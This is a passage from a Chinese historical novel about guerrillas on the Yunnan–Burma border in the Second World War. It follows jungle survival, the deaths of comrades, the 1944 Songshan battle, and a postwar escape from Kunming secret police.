他们沿着滇缅公路往边境线走,四周无人的时候,他们便去一个个的死人堆里扒拉有没有漏网之鱼。
遇到还活着的,沐明实和周立行判断能救的,就赶紧地背走。
他们脱下死人的鞋子和衣物,从坠毁山谷里的汽车里翻找物资,然后藏到周立行当初跟随修建公路时候沿线的各个山洞中,以备日后使用。
他们会在山林里遇到一些走散了乱窜的散兵,那些人已经被饥饿和危险调教成了野兽,有的得了回归热、疟疾,有的误食毒果毒草,有的甚至被野猴围殴打死。
在边境的村庄里,周立行等人目睹一队饿疯了的溃兵抢夺村民食物,村民和他们语言不通,差点就酿成血案。
幸好他身穿军服,大声呵斥,身后的战士们鸣枪,才将场面阻止下来。
那些溃兵衣衫不整、浑身是伤,见他是长官,竟是个个蹲地嚎啕大哭,说是一万多人走得来只剩下几十人,全死了,都死了,不是死在战场上,而是死在雨季、丛林、虫蚊、瘴疟里,晚上睡下去的战友,第二天便被蚂蟥和各种蚊虫吃成白骨……剩下的人都饿得不行了,只想吃东西。
这些人都被周立行捡回来,一起拉扯着打游击。
当然,他们也会遇到一些日本人,能打的时候,他们一定会想办法打掉对方。
如果打不过,他们也会绕开,等待对方落单再下手。
沐明实说,这就是游击队的精髓,敌进我退,敌退我追,敌驻我扰,敌疲我打,打得过就打,打不过就跑一边等,他们总有落单的时候。
他们大部分时间都在山林中转移,捕猎,寻找扎营的地方,填饱肚子,练习丛林生存本领。
周立行是山林的孩子,又在滇西修过路,跑过那么多山与河,神山保佑他,山灵认可他。
跟着周立行的队伍,没有挨过饿。
虽然白天怕被敌人看见烟雾,从而不敢生火。
但夜晚,周立行和队伍里的本地人会在丛林中垒砌土灶,他们的食谱是那些从外省来的士兵们不敢置信的。
林子的毒果多,但猴子能吃的果子,人便也可以吃;有些树木里面会有淀粉,有些蕨类的根磨成粉竟然跟白面差不多,苔藓可以吃,花朵可以吃。
平时大家害怕的各类蛇,周立行是要抓的,蜗牛是可以烤来吃的,蚂蚁蛋和蚂蚁是可以吃的,蜂蛹和各类虫蛹也是能吃的,知了、蝴蝶、飞蛾、蚱蜢、蝗虫、湖蝇、蜘蛛、螳螂……都是可以吃。
周立行和本地人一样,是攀爬的高手,他能飞身蹬树,更是要求所有队员都要学会爬树,顺着爬倒着爬,不能上树和猴子打架,怎么能在丛林里生存?
只有和猴子一般,才能采集和争抢猴子地盘里的果实;只有听得懂鸟和猴子的讯号,才能更快得知哪里有人入侵。
深山密林里没有天日,辨别不了方向就容易迷路打转,俗称鬼打墙。
指北针或许有时候能发挥作用,但遇到很多地方,指北针只会乱转。
许多部队在山里便是这样迷失方向,活生生走到死,也走不出野山。
但周立行和本地人懂得,他们不看天地,看树皮哪面更粗糙,看石块哪面的草更茂盛,看松树的松脂哪面更多,看石头的青苔哪面更厚,看树下的蚂蚁窝在哪边。
除此以外,沐明实也展现出她极大的草药能力。她自小跟随商队,又似乎是为这场战役做过充足的准备,她不仅会十几种本地部族的语言,更是认识许多药草、毒草,哪些植物可以吃,哪些树体内有纯净的水,她都教给了大家。
包括所有人都害怕的山蚂蟥,吸血蚊虫,沐明实都做过实打实的研究,她会随时提醒大家绑好裤脚手腕,戴上帽子,用细细的草丝织成面帘,以遮挡蚊虫冲进眼睛、鼻孔、耳道。
她会用小刀和缝衣针给大家做小手术,还在晚上给大家熬草药汤。
她懂得好多,会围着篝火给士兵们讲国际局势,讲南洋的风土人情,讲敌后战场的勇士,讲光明的未来。
他们有时候会固定在某一片区域,有时候会因为日军的围剿而离开。
他们走过了许多寨子,获得了许多帮助,也闹出过一些误会,好在沐明实是女性,有她一起出面去和其他山中部族打交道的时候,总是能让气氛缓和一些,避免了许多争端。
但也因为沐明实是女性,每个月的月事来时,要用棉布裹着草木灰吸血,那个时候她的行动便会缓慢。
晚上睡觉的时候,血腥味也会吸引来许多嗜血的蚊虫,她必须睡在缴获来的帐篷里,四周洒满驱虫的药草,否则后果不堪设想。
狠下心的沐明实,想要通过吃药草来逼停月经,周立行想到王喜雀以
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前吃药的经历,劝解沐明实不要这样做。
只要不是逃命,特殊的这几天停下来休息、训练大家爬树逮蛇也是一样的。
谷娃子也是开玩笑,在山林里混天暗日的记不住时间,沐明实还可以通过自己的月经周期给大家提个醒呢。
沐明实本就不是容易害羞的人,她向来坦荡,结果自己的月经被一群男人当成及其重要的事情来谈论,一时间她还是憋不住,闹了个大红脸。
也有新捡回来的落难士兵,以为沐明实副队长的身份是靠美色抚慰大家得来的,脑子不清醒的也曾经有想要半夜去摸沐明实的帐篷。
这种人,统统被早先的队员吊起来打。
然后,过不了一个月,他们就会知道沐明实为什么能得到大家的爱戴和尊重,继而他们也会转变态度。
那是他们的姊妹、战友、家人……
*
敌后的游击队不止他们一只,龙陵、腾冲、梁河、盈江、莲山、陇川等地,汉、傣、景颇、傈僳、阿昌等不愿做亡国奴的滇西各族人民,纷纷拿起武器保家卫国,自发组织起大大小小的多支游击队。
周立行这一只,偶尔会遇到其他的游击队,他们会交换一些情报,然后继续分开行进。
因为占领区出现了游击队,日军十分愤怒,他们效仿在其他地方的做法,开始实行扫荡。
滇西不像平原,想要烧光杀光抢光,没有那么容易。
山林天然就是避难所,众多的生灵也提供了众多的食物,只要敬畏神山懂得规则,许多野外部族也是能繁衍生息的。
但那些被发现和游击队有联络的村寨,却时刻都有人牺牲。
周立行等人在一次追击中,退到了一个熟悉的村寨。
那是月光下的泛着银光的凤尾竹,是曾经救过刘愿平一命的傣家少女的寨子,是甜甜地祝福周立行一定要把喜欢的姐姐抢到手的阿月妹妹的家。
然而此时,这里焦土一片,高高的竹楼已经化为灰烬,尸骨隐没在黑灰中,仿佛还在嚎叫着痛苦。
寨子四周都是被野物撕咬残缺的腐烂尸身,整个寨里无人生还。
周立行认不出哪个残破尸身是阿月,他们能看到的女性尸身,都惨不忍睹,没人敢去细想这些女性死前收到过怎样的虐待。
他沉默地站在曾经的寨门,耳边似乎还回荡着阿月银铃般的笑声。
他只觉得,自己杀的日本人还是太少了。
后来,周立行也路过了阿涅的村寨,那里更远一些,人员似乎都退往了深山,没有看到许多尸体。
这是周立行难得的慰藉,只要活着,就还能有无限可能。
再后来,越靠近边境,看到的惨剧越多。
许多村寨患上了疫病,活生生地死绝,死到山林里遍布动物的尸体,毒瘴更甚。
他们看到日军用铁皮围住一些小寨,然后扔进去了许多老鼠。
这一只日军不多,他们便从后面包上去杀死了日军,救出寨子里的人,可接下来,跟着他们一起走的寨民们都发起了高烧。
整个周立行的队伍也发起高烧,上吐下泻。寻常的药物根本不起用,人员们一个个接着病死。
沐明实用上了缴获来的日军药物,才让这只队伍不至于因疫病而消亡。
然而药物不多,是给病得最重的人用;那些一开始病得似乎不重,突然再发烧抽搐的人,则来不及救回来。
石娃子一直背着寨子里一个五岁多的小女孩前行,他说那小女孩长得像他女儿,对方的父母在逃出来的时候踩中地雷被炸死了,小女孩的腿也被炸断了一只。
这一路走来,大家见过太多的惨剧。日军会把活人放水里煮死,会把逮着的游击队员活生生剥皮,奸杀妇女更是花样百出,甚至会用刺刀割开小女孩的下/体,把婴儿串在刺刀上……
如果丢下这个小女孩,再被日本人追上……石娃子舍不得,便把那女孩背在背上。
然而没过两天,那小女孩病死后,石娃子病倒半天不到,也跟着去了。
他之前应该是低烧着没有讲,走之前一直念叨着“莲妹儿……幺女儿……”
石娃子走的时候是担惊受怕的,他怕日本人去了四川,怕自家的婆娘女儿也遭受这样惨无人道的虐杀……
当时缴获的日军药物已经用完,沐明实甚至来不及找草药,石娃子便走了,那几天,许多人死去。
沐明实自责地大哭一场,差点哭晕过去。
“这是怎么回事?”
周立行这次也中了招,拉肚子拉到出血,好在他得病的时候,日军药物还没有用完,但他依旧元气大伤,不得不杵着拐杖走路。
这些日子沐明实焦头烂额,瘦得宛如枯柴,她是最早病的,撑着命吃了药去照顾别人,差点也死掉。
她咬牙切齿地回答,“细菌病毒战……这些狗日的丧尽天良!他们是战场上杀人还不够,要用疾病把咱们中国人全部绝种呢!”
周立行悚然,他难得地有些结巴,“这怎么办?那些什么菌和毒的,能传多远?”
沐明实抹了一把汗水,摇了摇头,“不知道,他们放出去的耗子会传染其他的动物,那些携带病菌的跳蚤会四处蔓延,死亡的尸体也会滋生疫病……”
76.滇缅公路
这一场病,让这只游击队元气大伤,损失了接近三分之一的队员,好在是所救寨子里活下来的村民们进行了补员。
周立行按沐明实的嘱咐,将这些患病死去的人,于夜里集中焚烧。
他们自己身上穿过的衣物,也尽量烧水烫洗,尽量保证不把疫病带到其他地方。
他们每跟日本人战斗一次,就要尽快转移地方,以免被日军找到。
然而这次,他们的行进速度慢了许多。
大部分人都是重病初愈,身体状况不好,在山林里不好捕猎。
当随行的土著村民告知翻过山有个他们熟悉的村寨时,沐明实决定带一些人去取一些补给,除了粮食,最好还能要到新的衣物,同时选好地方,将这些活下来的半大的孩童、女人、老人送去安置。
因周立行还未痊愈,五斤、谷娃子和沐明实便带上一个班的人,和那些村民一起向寨子走去。
那是一个佤人的寨子,在清晨的霞光里显得静谧安宁。
高脚屋里的人似乎还没有起来,只有几个肤色黝黑的佤女走出了寨子,似乎是要去做些什么事情。
见是佤人的寨子,沐明实也放下了心。佤族数千年来敬诸葛亮为阿祖阿公,恪守誓言,民国十六年还曾抗击过边境英军,也是游击队经常联络的部族。
沐明实队伍里的村民,有几个人似乎认识那几个佤女,他们倒也没有贸然上前,而是发出呜哦呜哦的声音。
那几个佤女集体往后退了退,抬头四处看,似乎是在搜寻声音的来源。
几个村民从山林里走出,用本地话同对方打招呼,然而那几个佤女十分防备,后退着不说话。
出于往常的经验,沐明实走了出来,溜下坡来,上前去跟她们搭话。
虽然语言不通,但同为女性,再连比带划,总比全是男人去跟人搭话好一点。
然而就在沐明实溜下去的时候,其中一个佤女突然做出一个往外推的动作,另外几个佤女也哭了出来。
电光火石之间,沐明实心道糟糕,那几个村民刚死里逃生,嗅到危险气息后也转身就跑。
然而,枪响了。
寨子里冲出来了一只几十人的日军,他们甚至架着冲锋枪。
那几个用作诱饵的佤女立即被打死,连带着逃跑不及的村民也被打伤。
山坡上未曾下来的队员们开枪还击,试图压制日军的火力,让沐明实可以跑回来。
然而,沐明实本就大病初愈,此刻身体虚弱,加上对方的火力迅猛,她转身跑不了几步,如雨的子弹倾斜而来,双腿立刻中弹。
沐明实知道自己走不了了,她不想有人为了救她做无谓的牺牲,拿起手枪对着自己,喊道:
“快走!”
五斤一口气投出三颗手雷,谷娃子趁着炸开的烟雾,抓着一根长藤从坡上晃荡而下,落到了沐明实的身旁。
沐明实是他们的副队长,是他们的姊妹,是他们的战友,他们不想看着她自杀后尸体也要被日本人侮辱。
他一言未发,扛起沐明实就跑。
子弹在林中穿梭,日军开始追击。
他们如猿猴一般攀爬上树木,从上方散开跑走。
日军在下面疯狂乱开枪,跟着分散开来。
这里离周立行等人歇息的地方不远,枪声和爆炸声惊动了山里的飞鸟和猴群,周立行立即起身戒备。
“出事了……”
周立行立即让队伍收拾东西,掩埋火灶,全部上树。
他爬得高高的,看向沐明实他们离去的方向,果不其然见到某些区域树影摇晃,远处传来隐约的枪声。
……
这一场奔逃,追击的日军反而吃到了苦头。
他们一旦进入山林,离开了他们机械化行军所带来的压迫,便沦为和野兽一般的存在,既可以捕猎弱者,也会被强者捕猎。
尤其是他们分散追击。
周立行带着增援很快到达了他们散开的区域,他的口哨声呼唤着战友,他们将日军引导适合的地方,十几人围一个人,从茂密的树叶中扑下,刀刃瞬间插入对方的后背,割断他们的脖子。
他们尽量节约子弹和武器,斩杀敌人后,收走他们身上有用的一切,甚至把军装和鞋袜也拔下来。
沐明实中弹,并不只在大腿,追击中她还是中了流弹。
沐明实知道自己肺部中弹,贯穿了身体,她腰间也遭了一枪,救不回来了。
周立行当初如何抱着冯争鸣,此时便如何抱着她,他又将失去一位战友和姊妹。
“我不叫你冯营长了……立行,我知道这样违反纪律,但,我还是想问……”
沐明实的脸蛋不再光洁细腻,她干瘪的脸上全是坑坑洼洼的伤口,有被毒虫咬到的,有被藤蔓割伤的,有战斗时候弹片擦到的,她当初站在忠义堂里侃侃而谈的时候判若两人,只有那晶莹的双眸一如往初。
周立行从来没有仔细地去观察过沐明实,他印象中这就是一个爽利能干的女袍哥,是争强好胜的女商队长,是敏锐细致的副车队长,是强大优秀的游击队骨干……
然而此刻,他才发现,印象中那个太阳一般耀眼的女孩子,已经被战争磋磨成现在的模样。
“你说,你问,我都回答。”
周立行的眼泪早流干了,他的心中只有无法熄灭的仇恨。
“……当初,中统调查你……我……你……你是我们的同志吗?”
沐明实抓着周立行的手,问出了这一路以来她从不敢问的事情。
根据纪律要求,没有上级指令的情况下,就算对面有可能是自己的同志,也不能相认。
所以,她一直没有问过。
周立行愣住,他想到冯争鸣之前的疑惑,想到沐明实多次意味深长的眼神。
原来……竟然……沐明实才是真正的红汉,是共产党……
周立行张着嘴,本想说我不是,可看着沐明实那期盼的眼神,他突然说不出口。
周立行没说话,沐明实却似乎认为,对方只要没有否认,就一定是地下党的同志,她安心地笑了。
“坚持战斗……我们……一定会胜利的……”
“……我是瞑目的,我为我的祖国和民族而牺牲……告诉我的家人,要为我骄傲自豪……”
沐明实欣慰地笑了,她缓缓闭上眼睛。
……
山间无岁月,只余厮杀。
周立行带着的这一批人,一直在边境线上来回奔袭,他们收拢了许多迷失在丛林的散兵和各族勇士。
他们战斗,减员,增员,循环往复,却始终都保持了一百多人的队伍。
他们麻木了对时间的感知,一心一意的只有消灭入侵者的决心。
就这般,不知道过了多久。
他们从其他游击队那里得到消息,远征军要反攻了。
当初跟随英军退到印度的部分远征军们,被美国的教官教导了丛林作战法,他们换上了新的武器装备,训练成了X部队和Y部队,他们不再惧怕丛林,并有了火力优势。
归国的热切和为死去战友复仇的决心,让驻印远征军们战役高昂,他们势如破竹,一路厮杀,那不可一世的日军也尝到了溃败的滋味,战线迅速推进到怒江岸边。
怒江,又是怒江。
这条狂躁不安、暴怒难羁的巨龙,终于等来了它的后裔为其雪耻。
*
1944年5月,周立行在山中知道了这个消息,他毫不犹豫,立即带着队伍去归队。
他以冯争鸣的身份带队回归,立即引起冯争鸣原所在师部的注意。
原本的团长已经战死,旅长亲自过来接人,却在看到冯争鸣的时候愣住了。
“你是谁?”
那旅长皱眉,一边打量周围的人,一边戒备周立行。
“我是冯争鸣。”
周立行已经习惯自己是冯争鸣了,他已经被喊了两年的冯营长。
那旅长生气地指着周立行,“那我叫什么名字?”
周立行看那旅长的胸牌,那旅长眼疾手快地把胸牌撕掉。
五斤在旁边欲言又止,那旅长认不得这种小兵,但看神色也猜到对方是自己曾经的兵,于是立即指着五斤。
“你,出来!你说,他是谁!”
五斤出列,眼巴巴地看着旅长,又看向周立行,脖子一梗,“他是营长冯争鸣!”
旅长差点被气笑了,“冒名顶替!你们不怕被军事法庭当成奸细!”
周立行这才叹口气,从兜
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里掏出精心保存的胸牌,递给那旅长。
“这是冯争鸣的胸牌,他已经战死了。我叫周立行,是冯争鸣的结拜兄弟,原是中缅运输总局……”
周立行向旅长汇报了一切,从他们当初大撤退离开腊戍,到惠通桥头的激战,冯争鸣的死去,他们进山打游击……两年多的岁月,说起来,却仿佛发生在昨日。
仿佛冯争鸣刚刚在他手下死去,还没来得及闭上眼睛。
那旅长沉默了。
“我以他的身份活着,是为了完成他未尽的事业。”
“我杀灭的每一个日本人,都是冯争鸣的战功。”
“如果你准许我留下,我会以他的名义继续战斗,直到赶走日本人,或是我死去。”
“或者,我也可以继续回去跟随别的游击队打仗,也是以冯争鸣的名义。”
那旅长越听越难过,最后挥挥手,当这件事他没看出来。
一个堂口舵把子,普通运输大队的队长,竟然为了兄弟遗志和保家卫国,带着这么多溃兵在野山丛林里,打了这么多年的游击。
他能说什么,大战在即,大家一起忠勇为国,打回去!
没想到随军运输队里,还有两个熟人,队长是沐明真,副队长是唐浩子。
两年多前,周立行的车队有一部分冲过了惠通桥,回到了昆明。
唐浩子和沐明真得知周立行和沐明实滞留敌占区的消息,二人俱是心急如焚。
战争还在继续,很多司机和南洋机工都陷落敌占区,后勤人员严重缺乏,于是唐浩子和沐明真等堂口中的年轻人都被征召进了运输队。
之后便是运输,炮火,死亡,他们两个一边管理着运输队,一边还要抽空维持商队的生意,过得甚是辛苦。
因知道周立行在缅甸和沐明实分开,是去找冯争鸣。
眼下听说冯争鸣带着一班人马归队,沐明真和唐浩子立即询问而来,却没想到,没想到见到的人是周立行。
“你怎么……”沐明真上前抱住周立行狠狠地锤了几拳,他没有了当初那股油滑的商人感,疲倦和坚毅混合出了一股军人味道。
唐浩子也跟着冲上来,三个人抱成一团打闹起来。
这条路上的司机和运输队们,都有了这般军人味。
三个人兴奋了一阵后,周立行才诧异地询问,“你们怎么也来搞运输了?”
沐明真根本来不及回答周立行的问题,他伸着头四处看,急切地问,“明实呢?她和你在一起没有?”
“……”周立行哑然,她垂下头,轻轻地回答:
“明实已经牺牲了,我们在打游击的时候,她被日本人的队伍伏击……”
纵然沐明真早就做好了这个打算,但在看到周立行之后,他的希望刚刚升起,却立即受到这残酷的打击。
他松开手,往后退了两步,缓缓稳住身形,“她……”
周立行忍住心中翻涌而起的悲戚,却也是为牺牲的战友自豪。
“她让我转告你,她是瞑目的,她为祖国和民族而牺牲……希望家人们为她骄傲自豪……”
沐明真一下子捂住自己的嘴,眼中泛起泪水,心中有千言万语,然而此刻他一句话也说不出来。
悲痛仿佛一把巨斧,毫不留情地劈开了他的灵魂,从小一起长大、争强好胜的妹妹,笑靥如花仿佛还在眼前,却转眼就成了别人口中牺牲的战士。
他忍住胸口的翻涌,点头,泪水低落。
“嗯……好……”
哽咽了好一会儿,沐明真才找回自己的嗓子,“……早就说不要她来,她非要当什么英雌……这下好了,我怎么跟父亲交待……”
“她以自己热爱的方式活着,以自豪的方式死去,她这一辈子,是英勇的,是值得的。”
周立行不善安慰人,只能说出他心中最真诚的评价。
“那,冯争鸣呢?”
唐浩子问出了自己的疑惑,怎么谷娃子也在称呼周立行是冯争鸣。
周立行没说话,唐浩子已经看出了答案,他长长地叹了口气。
战争中,多少人失去挚爱亲朋,多少人魂丧他乡。
周立行只能用沐明实的遗言与大家共勉:
“坚持战斗,我们一定会胜利的。”
77.滇缅公路
滇西大反攻开始了。
美国和英国的飞机穿梭群山,看到东岸重炮排山倒海般把炮弹倾泻到日军阵地,炸起的黄尘和浓烟直冲云霄。
日军的火力不再是优势,他们死守,盟军猛攻。
到后来,日军反而打起了游击。
他们一起攻坚腾冲,血战松山。
松山已经不是普通的荒山,而是日军苦心经营、重兵助守的坚固防御体系。
松山不是一座山,是一个山群,大小山丘错落,山下是腊勐街,滇缅路从松山穿过。
日军的一个工兵连队在这里足足干了一年,拉来几千民工挖山,据说山头都被掏空了,碉堡地上三层地下三层,占据所有制高点,储藏大量食品弹药,并设有小型发电厂。
日军的主堡内有重机枪,子堡及侧射堡内有轻机枪,交通壕内有步枪、枪榴弹、掷弹筒,主堡后有迫击炮,在阵地前编成浓密火网。
这里拿不下,滇缅公路就无法开通,无法向龙陵继续进军,两头的部队无法接头,那边能过来的人很少,这边能过去的人不多。
在这里,远征军总共发起了八次进攻,每一寸草木都染上了鲜血。
在这里,他们从6月打到了8月,死伤无数。
在这里,由于青壮年大量死亡,军队征召来负责杂务和照顾伤兵的娃娃兵们,也走上了战场,他们最小的,才9岁。
运输队要在松山碉堡的攻击中,用性命当赌注,将军火运往战地。
离开了后勤运输,任何部队都无法长久作战,战争打到后期,本质都是在比承载国力的后勤运输能力。
周立行见惯了死亡,但每天都看到士兵的死亡和司机的死亡,他依旧会感觉浑身幻痛。
仿佛每一颗子弹都打在他身上,仿佛每一次爆炸都割裂他的躯体,仿佛每一次死亡都让他看见黄泉。
在第八次进攻的时候,破釜沉舟的军队决定炸掉这个“伤心岭”,把松山主峰连同日军一起炸掉算了!
军工兵团开始挖堑壕,他们要将颗能给到延伸到松山主峰底部,他们要挖掘出足够的药室,要能放10吨□□。
同时,也要有运输车,能运来10吨炸药。
周立行在阵地上,看着那车队疯狂地冲破防线,看着自己人努力压制日军碉堡火力,看着一辆辆的车坠落山崖。
他只能看着,要等足够的炸药到,才能拔掉松山上这颗最难拿下的钉子。
他只能看着,然后刚见面不久的唐浩子,死在了运输途中。
得知唐浩子死讯的那个晚上,周立行做了一场噩梦。
梦里什么都没有,只有声音无奈地念着八个字:
【刑克至亲……孑然一身……】
他猛地惊醒,然后再难入眠。
*
这一回,远征军再次向松山发动攻击,猛烈的炮火,冲锋的步兵,一切都和之前一样,牺牲在所难免。
这一次,往上冲的,是敢死队。
周立行所带的队伍,全员参与了这次任务。
他们不是去寻死,而是所有看到了娃娃兵的大人,都选择了加入敢死队。
他们看着那些孩子,如同看到了自己的弟弟,自己的儿子。
娃娃兵还那么小,可是孩童走上战场,就说明他们家里的父兄已经死绝了。
他们是大人啊,怎么能看着孩子上战场……
同前几次一样,攻击部队接近主峰的时候,敌军开始疯狂狙击,为了牵扯所有的日军往松山主峰上聚集,外围部队退出了火力点安全隐蔽。
中间那一部分敢死队,则要尽量在最后时刻离开,他们不能太往前,以免做无用的死亡,也不能太往后,不能让敌军发现他们是佯攻。
留下来的,都是久经沙场的精锐战士。
枪炮声渐歇,时间快到最后那一刻,大家要退离的时候,一只日军突袭队不知为何,竟然早早摸出地堡,离他们不远,架起冲锋枪扫射。
他们狂妄大笑着,仿佛提前庆祝第八次守住了阵地。
这一番扫射,让一部分人未能及时撤出。
周立行匍匐在地不敢动,却发现身边的谷娃子趴在地上抽搐。
周立行一眼看出来,谷娃子中弹了。
按照爆炸设置的时间,他们应该要赶紧离开。
可是,很明显,现在他们撤不了了。
周立行看了看手表,那是他和冯争鸣在八莫城里对过的表,此刻显示的时间,还有十分钟,这个松山的山顶就会被炸平。
他的心中一片平静,他挪到谷娃子身边,把手放在了谷娃子脸上。
谷娃子笑了,他反手握住了周立行的手,“哥,我和石娃子,这辈子跟着你,也算是当英雄了。”
周立行点头,“是啊,方大哥把你们俩放我身边,我们又一起去见他。”
谷娃子眼中的泪落下来,“你和冯争鸣,阿涅结拜了兄弟,我和石娃子是你的小弟,都没有结拜过……”
周立行跟着红了眼眶,“是我对不起你们。”
“哥,你别哭,我们啊,都对不起婆娘……我和你一样,都没看过孩子出生呢……”
谷娃子伸手去擦周立行的眼泪,他知道周立行很久没有哭过了。
“哥,别管我,枪声停了,还有时间,你往后退,往树上爬……”
“哥,黑老鸹说过,要保佑你的……能活下去,还是要活下去的……我们都死了,婆娘们咋办……”
“哥……快走……”
……
大地颤动,巨响如雷霆震怒,崩山裂石的力量让一切急剧翻腾,黑烟直冲云霄。
隐蔽在山下的士兵们,在怒吼和厮杀声中冲了上去……
……
1948年底,云南昆明。
四季如春的街头鲜花盛放,然而行走在街道上的沐明真,却孑然一身、眉头不展。
他行色匆匆,回到了城外一处僻静的小院。
院子里,周立行蜷缩在院子一侧的长木椅上晒太阳。
沐明真走到周立行旁边坐下,桌子上满上糕点,他愁眉苦脸地拿起一块尝,却尝不出什么味道。
周立行睁着眼,蝴蝶在他脸周围飞过,他却对周围的事物毫无反应。
“立行兄弟,你什么时候能够回魂啊……”
“……我已经做好了最后的安排,再过两天,就要去新嘉坡了……”
沐明真惆怅地看着周立行,陷入了两难。
“邢五爷到底是怎么了……为什么不直接告诉我立行的家乡,我直接送回去也行啊……”沐明真有些烦恼,直接丢下周立行他良心过不去,带着周立行去南洋又太对不起周立行的家人,他的婆娘娃儿说不定还在家里日夜的期盼着。
“难不成,我还是得再请几个神婆道士去松山招招魂……”
大门突然被锤得邦邦响,继而传来女佣人们的惊呼,然后一阵急促的脚步声传来,沐明真回头一看。
晦气!这帮中统的怎么跟到这里来了!
沐明真站起来,拱手行礼,还没来得及说话,对面领头那人举着一张纸高声道:
“经查,沐明实之前和□□有联系,其商队向□□常年提供物资!”
沐明真忍不住冷笑一声:
“沐明实六年前就死在滇西的战场上了,是打日本人死的!你们早就查抄了她名下的所有东西,现在又想干什么?!”
那人跟着狞笑,抖动着手里的纸片,“之前是怀疑,现在是查实。沐明真,我们怀疑你也通共,走,配合调查吧!”
虽然早有准备,但此刻沐明真深刻地感受到难过,他的商号商队早就已经“捐”了,算得上身家清明,因为明天就要走了,所以沐明真今日遣散了护卫保镖。
结果这这些人一定是早就算好了的,明明大家已经心照不宣地达成了默契,沐明真“拿钱消灾”,现在他们要把人扣住,肯定还有后手。
周立行蜷在长椅上,对发生的一切毫无反应,长长的睫毛呆滞地盖着眼皮,昏昏欲睡。
那中统特务瞄了周立行一眼,又瞄一眼,觉得眼熟,走
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过去一看,突然想起来。
“忠义堂周行善?”
那特务从脑海里抓出个遥远的名字,他大喜过望。
“这个人曾经自称是共产党,当初战事要紧才给放走的,来,一起逮走!”
那特务的影子挡住了阳光,周立行条件反射地翻身坐起,想要换个地方睡觉。
那特务却被吓了一跳,以为周立行要反抗,也是条件反射地抓住周立行便是一个拧摔。
周立行的头磕到椅子上,脑海中仿佛传来沉闷的爆炸声。
那铺天盖地的黑色细沙,仿佛一场雨水,他记得自己被掀飞到半空,看到了黑云腾起时炸烂的碉堡。
他想起来了自己天旋地转的翻滚,碎石砸落在身上,他像是在坠落地狱……
他记得自己最后躺在了坚硬的路面,残破的身躯难以呼吸……
他记得自己口鼻出血,嘶喊着喜雀的名字,拼命地想要活下去……
风吹过树梢的沙沙声逐渐清晰,花朵的香味涌进鼻间,可气氛却似乎有些紧张焦灼?
周立行捂着剧烈疼痛的头,慢慢从地上爬起来,他看向眼前的人。
一个颇为眼熟的男人拔出了枪对着自己,旁边的沐明真似乎老了许多,变成了一个中年憔悴男。
呆傻了这么多年,周立行只管吃喝拉撒和间歇性发狂。
他的身体却在回归本能的休憩中养得很好,气血充足,那些在丛林中日夜杀敌练就出来的本事,竟毫无退步。
毕竟对周立行来说,时间才刚从松山顶上的大爆炸开始,他还是一位没有走下战场的战士。
周立行突然出手,身形如同鬼魅,竟是瞬间夺了那中统特务的枪,一个肘击直接干晕对方。
对方来的一共七人,也有两三个好手在其中,大家蜂拥而上,周立行则是咬紧牙关,把手枪按倒了沐明真怀里,自己拎着凳子冲上去。
沐明真见状,立即鸣枪,对着地上晕倒的男人,大喝道:“全部缴械,否则我杀了你们的长官!”
那些人一楞,有人掉在后面要跑,周立行一跃而上,飞踢到对方的脊背上,往下一压,只听得咔嚓一声,那人不知死活。
守在外面的人还没来得及跑,周立行已经摸了地上人的枪,对着要跑的呯呯两声,打在他们的双腿上。
等他再返回院里的时候,那剩下的人正想围攻沐明真,沐明真也不是吃素的,直接开枪还击。
周立行从旁边摸过去,三下五除二,把剩下的人全部打到失去战斗力,那些杀日本兵训练出来的手段,对付这些没有上过战场的特务,简直如砍菜切瓜般简单。
“立行!你终于回魂了!早知道我……”
“别废话,先走。”
周立行打断沐明真不合时宜的激动,他不知道发生了什么,但肯定现在要做的是撤。
沐明真跟着点头,“我本来是明天就走的,今天来是想把你安顿了……”
“有车吗?”周立行不想听废话。
“有。”
“马上开,你准备去哪?”
“从缅甸去南洋……”
“走。”
“我还有一些钱财没取……”
周立行冷冷地盯着沐明真,沐明真马上闭嘴。
仿佛打游击战时候的紧急转移,周立行根本不让沐明真再去做任何准备,他们把打晕打伤的人绑了关进院子,然后迅速上车,直往滇缅公路而去。
幸好沐明真在车上准备的有一些应急的钱财,不过周立行根本不用这些,他还记得以前打游击的时候沿途藏的物资,有汽油,有武器,虽然食物和药品早已过期,但此时路边的村寨已经恢复生机,周立行又是个打野物的高手。
沐明真就这么提前地走上了回南洋的路,周立行和他一起轮流开车,重走了一趟滇缅线。
周立行试图寻找当年是在哪里埋下的冯争鸣,哪里埋下的沐明实,石娃子、谷娃子以及那些战斗在密林中的伙伴们……
可惜,山川浩广,林藤密布,他再也找不到昔日的路。
78.洪雅
一路上,周立行大致了解了总堂发生的事情。
当初松山一役打得极为艰难,那山峰被炸之后,后续打扫战场,有人在山下的公路上,发现摔得不省人事的周立行。
他是从山峰被炸的地方滚落下去的,全身多处骨折,头骨撞出大口,七窍流血,几乎快断气了。
周立行曾经带领过的游击队员们,把他送到了卫生连,而后滇缅公路通了,又送去了美国人办的野地医院。
不知道是滇西的山灵护佑,还是周立行祖上积德有魂灵庇佑,还是他真的命硬,那一口气吊着,求生求生,最终生还。
可是美国医生说,周立行的大脑受到严重撞击,脑内有淤血,功能受损,一直没有苏醒,也许一直就这么睡着,就算能醒,也有巨大的后遗症。
沐明真得知消息后,将周立行接回昆明的军队医院安置,他继续带队奔赴在滇缅公路上,直到远征军们顺利收复失地,打通物资命脉线,直到远征军被解散,他才重新回到昆明分堂。
周立行一直是以冯争鸣的身份留在军队医院的,远征军解散了,这些士兵要么复员,要么编入其他部队。战争结束了,医院不再收伤病,沐明真也才忙完,去把人接了回来。
这时沐明真才知道,周立行到了昆明就已经苏醒了,可他却如美国人所说那样,有了后遗症。
周立行仿佛丢了魂一般,痴傻了。
他人还是醒着的,给饭会吃,给水会喝,知道上厕所,困了倒地就睡,可似乎没有了人的思维。
他不说话,没有情绪,偶尔听到什么响动就会匍匐在地,摸枪动刀,动不动就往树上爬,见不得任何日本相关的东西,比如军服、背包、枪支,发起狂来十个人也拉不住。
医院里会用束缚带绑住他,限制他的行动。
沐明真犯了难,这样的周立行,除非是绑着,否则没法送回成都去。
沐明真知道当初周立行回去当舵把子,是总堂里两拨人较量的结果。他当初为了利益,在中间也是使了好大一番劲,自然是知道,不能贸然把周立行送往总堂,否则可能会有危险。
于是,沐明真隐瞒周立行的音讯,明面上派人联系陈三爷说疑似在驻印远征军里发现周立行,私下谨慎地派人联系邢五爷告知实情,知不知道周立行的家人在哪里,他有一批金银想赠送给周立行的婆娘娃儿。
